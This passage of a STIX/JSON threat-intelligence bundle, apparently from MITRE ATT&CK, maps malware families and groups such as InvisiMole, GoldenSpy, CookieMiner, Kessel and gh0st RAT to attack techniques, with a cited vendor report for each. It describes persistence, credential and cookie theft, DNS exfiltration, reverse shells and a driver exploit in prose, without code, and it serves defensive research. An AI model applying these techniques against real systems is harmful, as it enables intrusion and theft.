                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has used scheduled tasks named <code>MSST</code> and <code>\\Microsoft\\Windows\\Autochk\\Scheduled</code> to establish persistence.(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
            "id": "relationship--e19d37dd-2cee-488b-a05e-1d298eb090cf",
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            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
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                {
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can use winapiexec tool for indirect execution of  <code>ShellExecuteW</code> and <code>CreateProcessA</code>.(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can create hidden system directories.(Citation: ESET InvisiMole June 2020)",
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                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can enumerate windows and child windows on a compromised host.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
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            "id": "relationship--47ba2c60-f295-4a91-bcd1-ac17292f4e7e",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can register a Windows service named CsPower as part of its execution chain, and a Windows service named clr_optimization_v2.0.51527_X86 to achieve persistence.(Citation: ESET InvisiMole June 2020)",
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            "id": "relationship--9aeb640c-a961-4694-a965-349b4d70b8ee",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has exploited CVE-2007-5633 vulnerability in the speedfan.sys driver to obtain kernel mode privileges.(Citation: ESET InvisiMole June 2020)",
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            "id": "relationship--64fe312b-e489-4698-9924-aeb22c056e2b",
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                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
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                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has been configured with several servers available for alternate C2 communications.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
            "id": "relationship--1f728f8c-8aee-4d40-9161-1cae773983d1",
            "type": "relationship",
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            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "source_name": "ESET Machete July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) has used AES to exfiltrate documents.(Citation: ESET Machete July 2019)",
            "relationship_type": "uses",
            "id": "relationship--140046d6-8cb6-4a09-bd74-fd7696ac4247",
            "type": "relationship",
            "modified": "2020-07-21T18:56:44.925Z",
            "created": "2020-07-21T18:56:44.925Z"
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        {
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            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
                {
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "source_name": "Cylance Machete Mar 2017"
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) has used TLS-encrypted FTP to exfiltrate data.(Citation: Cylance Machete Mar 2017)",
            "relationship_type": "uses",
            "id": "relationship--a2ed58c0-7bd3-4a94-99b3-f2ff94dea408",
            "type": "relationship",
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            "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
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                {
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                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "source_name": "FireEye APT30"
                }
            ],
            "description": "[APT30](https://attack.mitre.org/groups/G0013) has relied on users to execute malicious file attachments delivered via spearphishing emails.(Citation: FireEye APT30)",
            "relationship_type": "uses",
            "id": "relationship--bfc4c5dd-a02a-42a0-8838-1e9b45c1dd7e",
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            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
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                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "source_name": "FireEye APT30"
                }
            ],
            "description": "[APT30](https://attack.mitre.org/groups/G0013) has used spearphishing emails with malicious DOC attachments.(Citation: FireEye APT30)",
            "relationship_type": "uses",
            "id": "relationship--862470eb-b43a-42d9-ab06-4ca6fbc3671d",
            "type": "relationship",
            "modified": "2020-07-21T19:02:06.344Z",
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        {
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            "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Unit42 CookieMiner Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has used base64 encoding to obfuscate scripts on the system.(Citation: Unit42 CookieMiner Jan 2019) ",
            "relationship_type": "uses",
            "id": "relationship--d3142001-8501-474a-a0cd-2e12bba52148",
            "type": "relationship",
            "modified": "2020-07-22T19:16:02.845Z",
            "created": "2020-07-22T19:16:02.845Z"
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        {
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            "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Unit42 CookieMiner Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has used Google Chrome's decryption and extraction operations.(Citation: Unit42 CookieMiner Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--8bed4012-0b27-409b-8236-1b5238dd477d",
            "type": "relationship",
            "modified": "2020-07-22T19:16:02.861Z",
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        {
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            "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "external_references": [
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                    "source_name": "Unit42 CookieMiner Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has used python scripts on the user\u2019s system, as well as the Python variant of the [Empire](https://attack.mitre.org/software/S0363) agent, EmPyre.(Citation: Unit42 CookieMiner Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--e2a29101-0b7e-4dab-adec-602712c09893",
            "type": "relationship",
            "modified": "2020-10-21T02:25:07.307Z",
            "created": "2020-07-22T19:16:02.863Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "source_name": "Unit42 CookieMiner Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) can steal saved usernames and passwords in Chrome as well as credit card credentials.(Citation: Unit42 CookieMiner Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--19bfa4e1-509b-417a-9bcc-b739f7d798a7",
            "type": "relationship",
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            "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586",
            "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff",
            "external_references": [
                {
                    "source_name": "Unit42 CookieMiner Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) can steal Google Chrome and Apple Safari browser cookies from the victim\u2019s machine. (Citation: Unit42 CookieMiner Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--474e148d-4f4a-41d4-994e-d6425c7445f3",
            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
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                {
                    "source_name": "Unit42 CookieMiner Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) can download additional scripts from a web server.(Citation: Unit42 CookieMiner Jan 2019)",
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            "id": "relationship--7f249ef4-8a3c-4ab5-998f-256ac8ecf588",
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                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has loaded coinmining software onto systems to mine for Koto cryptocurrency. (Citation: Unit42 CookieMiner Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--46af303d-51d3-4b85-90e2-ee75f62c022c",
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                {
                    "source_name": "Trustwave GoldenSpy June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/",
                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) can execute remote commands in the Windows command shell using the <code>WinExec()</code> API.(Citation: Trustwave GoldenSpy June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--7b9bc78d-87b4-46a7-a5f9-73060535c47d",
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                {
                    "source_name": "Trustwave GoldenSpy June 2020",
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                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493)'s setup file installs initial executables under the folder <code>%WinDir%\\System32\\PluginManager</code>.(Citation: Trustwave GoldenSpy June 2020)\t",
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                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) can execute remote commands via the command-line interface.(Citation: Trustwave GoldenSpy June 2020)\t",
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                {
                    "source_name": "Trustwave GoldenSpy June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/",
                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."
                }
            ],
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            "relationship_type": "uses",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Trustwave GoldenSpy June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/",
                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) has used the Ryeol HTTP Client to facilitate HTTP internet communication.(Citation: Trustwave GoldenSpy June 2020)",
            "relationship_type": "uses",
            "id": "relationship--8ff83164-9bab-4fb5-8e6f-740f90829974",
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            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "Trustwave GoldenSpy June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/",
                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) has used HTTP over ports 9005 and 9006 for network traffic, 9002 for C2 requests, 33666 as a WebSocket, and 8090 to download files.(Citation: Trustwave GoldenSpy June 2020)",
            "relationship_type": "uses",
            "id": "relationship--2243acac-6401-41df-b658-2a36f7977d15",
            "type": "relationship",
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Trustwave GoldenSpy June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/",
                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) constantly attempts to download and execute files from the remote C2, including [GoldenSpy](https://attack.mitre.org/software/S0493) itself if not found on the system.(Citation: Trustwave GoldenSpy June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--b6d77871-1b71-4b65-b04b-9ee1d4b80a9c",
            "type": "relationship",
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            "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "external_references": [
                {
                    "source_name": "Trustwave GoldenSpy June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/",
                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) can create new users on an infected system.(Citation: Trustwave GoldenSpy June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--172e2d4d-5739-40d3-ae0d-4bf76890e79f",
            "type": "relationship",
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            "source_ref": "malware--b9704a7d-feef-4af9-8898-5280f1686326",
            "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
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                    "source_name": "Trustwave GoldenSpy June 2020",
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                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493)'s installer has delayed installation of [GoldenSpy](https://attack.mitre.org/software/S0493) for two hours after it reaches a victim system.(Citation: Trustwave GoldenSpy June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--bd289f02-1354-423e-b5e4-7aca35ec9d8a",
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            "external_references": [
                {
                    "source_name": "Trustwave GoldenSpy June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/",
                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) has exfiltrated host environment information to an external C2 domain via port 9006.(Citation: Trustwave GoldenSpy June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--5409a62e-d298-4026-8829-550306e8e4a6",
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        {
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            "source_ref": "malware--b9704a7d-feef-4af9-8898-5280f1686326",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "Trustwave GoldenSpy June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/",
                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) has gathered operating system information.(Citation: Trustwave GoldenSpy June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--1489f01c-fe49-4332-99e2-d72c487403b6",
            "type": "relationship",
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            "source_ref": "malware--b9704a7d-feef-4af9-8898-5280f1686326",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "source_name": "Trustwave GoldenSpy June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/",
                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) has established persistence by running in the background as an autostart service.(Citation: Trustwave GoldenSpy June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--0fee7bbd-8d36-48e2-b800-9d2f02c06123",
            "type": "relationship",
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        {
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            "source_ref": "malware--b9704a7d-feef-4af9-8898-5280f1686326",
            "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00",
            "external_references": [
                {
                    "source_name": "Trustwave GoldenSpy June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/",
                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) has been packaged with a legitimate tax preparation software.(Citation: Trustwave GoldenSpy June 2020)",
            "relationship_type": "uses",
            "id": "relationship--6edbc35f-fc02-43ba-84d2-17ff8100f094",
            "type": "relationship",
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        },
        {
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            "source_ref": "malware--b9704a7d-feef-4af9-8898-5280f1686326",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "Trustwave GoldenSpy2 June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-two-the-uninstaller/",
                    "description": "Trustwave SpiderLabs. (2020, June 26). GoldenSpy: Chapter Two \u2013 The Uninstaller. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493)'s uninstaller can delete registry entries, files and folders, and finally itself once these tasks have been completed.(Citation: Trustwave GoldenSpy2 June 2020)",
            "relationship_type": "uses",
            "id": "relationship--8c2a7700-2054-4db1-b566-391f23a9f30a",
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        {
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            "source_ref": "malware--b9704a7d-feef-4af9-8898-5280f1686326",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Trustwave GoldenSpy2 June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-two-the-uninstaller/",
                    "description": "Trustwave SpiderLabs. (2020, June 26). GoldenSpy: Chapter Two \u2013 The Uninstaller. Retrieved July 23, 2020."
                }
            ],
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493)'s uninstaller has base64-encoded its variables. (Citation: Trustwave GoldenSpy2 June 2020)",
            "relationship_type": "uses",
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            "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Bonadan](https://attack.mitre.org/software/S0486) can create bind and reverse shells on the infected system.(Citation: ESET ForSSHe December 2018)\t",
            "relationship_type": "uses",
            "id": "relationship--f56f953d-7df2-4eee-93b6-f2c8377153bb",
            "type": "relationship",
            "modified": "2020-07-23T16:24:07.813Z",
            "created": "2020-07-23T16:24:07.813Z"
        },
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            ],
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            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Bonadan](https://attack.mitre.org/software/S0486) can use the <code>ps</code> command to discover other cryptocurrency miners active on the system.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--f6030347-c316-4c5c-b7ce-84c39aa09f85",
            "type": "relationship",
            "modified": "2020-07-23T16:24:07.818Z",
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            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487) has exfiltrated data via hexadecimal-encoded subdomain fields of DNS queries.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--90126438-03a9-47c8-98c1-222a1d79ef21",
            "type": "relationship",
            "modified": "2020-08-10T19:43:38.327Z",
            "created": "2020-07-23T16:50:06.423Z"
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            ],
            "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12",
            "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487) has trojanized the <sode>ssh_login</code> and <code>user-auth_pubkey</code> functions to steal plaintext credentials.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--8544d4c3-e2e5-44c6-b57d-a169143f49eb",
            "type": "relationship",
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            ],
            "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487) can RC4-encrypt credentials before sending to the C2.(Citation: ESET ForSSHe December 2018)\t",
            "relationship_type": "uses",
            "id": "relationship--9433ea0e-0bae-44b6-b32b-5290356f057b",
            "type": "relationship",
            "modified": "2020-07-23T16:50:06.592Z",
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            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Kessel](https://attack.mitre.org/software/S0487) can create a reverse shell between the infected host and a specified system.(Citation: ESET ForSSHe December 2018)\t",
            "relationship_type": "uses",
            "id": "relationship--46da305e-d59a-42a4-9d2b-cdd223c69664",
            "type": "relationship",
            "modified": "2020-07-23T16:50:06.597Z",
            "created": "2020-07-23T16:50:06.597Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51",
            "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84",
            "external_references": [
                {
                    "source_name": "ESET Ebury Feb 2014",
                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/",
                    "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019."
                }
            ],
            "description": "[Ebury](https://attack.mitre.org/software/S0377) can intercept private keys using a trojanized <code>ssh-add</code> function.(Citation: ESET Ebury Feb 2014)",
            "relationship_type": "uses",
            "id": "relationship--5b5a618e-3a67-4223-a158-af4ce7e0c7d9",
            "type": "relationship",
            "modified": "2020-07-23T17:01:00.356Z",
            "created": "2020-07-23T17:01:00.356Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
                {
                    "source_name": "Gh0stRAT ATT March 2019",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant",
                    "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."
                }
            ],
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has used Zlib to compress C2 communications data before encrypting it.(Citation: Gh0stRAT ATT March 2019)",
            "relationship_type": "uses",
            "id": "relationship--c16854fa-add6-4be3-9547-05cc479861d8",
            "type": "relationship",
            "modified": "2020-07-24T13:48:49.757Z",
            "created": "2020-07-24T13:48:49.757Z"
        },
        {
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            ],
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "external_references": [
                {
                    "source_name": "Gh0stRAT ATT March 2019",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant",
                    "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."
                }
            ],
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can execute its service if the Service key exists. If the key does not exist, [gh0st RAT](https://attack.mitre.org/software/S0032) will create and run the service.(Citation: Gh0stRAT ATT March 2019)",
            "relationship_type": "uses",
            "id": "relationship--6397d645-207c-4d1b-9a65-5f1b69a84e7c",
            "type": "relationship",
            "modified": "2020-07-24T13:48:49.763Z",
